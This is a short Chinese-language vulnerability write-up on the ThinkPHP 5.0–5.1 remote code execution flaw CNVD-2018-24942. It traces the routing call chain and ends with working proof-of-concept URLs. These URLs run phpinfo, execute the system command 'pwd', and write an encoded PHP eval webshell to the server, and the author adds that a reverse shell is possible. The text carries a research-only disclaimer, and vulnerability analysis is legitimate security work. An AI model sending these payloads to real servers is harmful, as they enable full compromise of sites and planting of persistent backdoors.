CNVD-2018-24942 ThinkPHP RCE POC
waring
本文提供思路和方法可能带有攻击性,仅供安全研究与教学之用,风险自负!
第一次写分析,写的不是很清晰,各位大佬见谅!!
title
CNVD-2018-24942 ThinkPHP RCE POC
vulnerable version
ThinkPHP 5.0—5.1
fix
ver:5.0.x Fix: github
ver:5.1.x Fix: github
vulnerable code
ver:5.1+
Web入口
library/think/App.php

跟进$dispatch = $this->routeCheck()->init();
routeCheck()调用
$path = $this->request->path();调用pathinfo();

分析代码可知,这里可以通过构造s参数,可控制pathinfo,再回看path方法,导致$this->path可控
$this->path = preg_replace('/\.' . $this->ext() . '$/i', '', $pathinfo);
之后调用 new Url
class Url extends Dispatch
{
public function init()
{
// 解析默认的URL规则
$result = $this->parseUrl($this->dispatch);
return (new Module($this->request, $this->rule, $result))->init();
}
调用$this->parseUrl,返回result数组分别由是$module,$controller,$action

跟进new Module 构造 如下图所示,最终完成调用链

程序未对控制器进行过滤,这一套调用不得不说这个构造太精妙了!
poc
/index.php?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=100
/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=pwd
/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=getshell.php&vars[1][]=%3c%3f%70%68%70%20%40%65%76%61%6c%28%24%5f%50%4f%53%54%5b%27%6c%6f%72%64%73%6b%79%27%5d%29%3b%20%3f%3e
姿势有很多,可以执行系统命令是不是可以反弹shell
(getshell,原理很简单,file_put_contents 写入一句话,需要目录有可写权限,正常情况下测试失败,因目录不可写)
think
这个漏洞据说大佬玩了一年之久,漏洞原理本身并不复杂,但是之前却没有人发现或上报,是说安全人员的能力太弱,还是挖到之后流入黑产让人深思,以后应该多多学习框架分析CVE,从前人的脚步中不断学习和进步。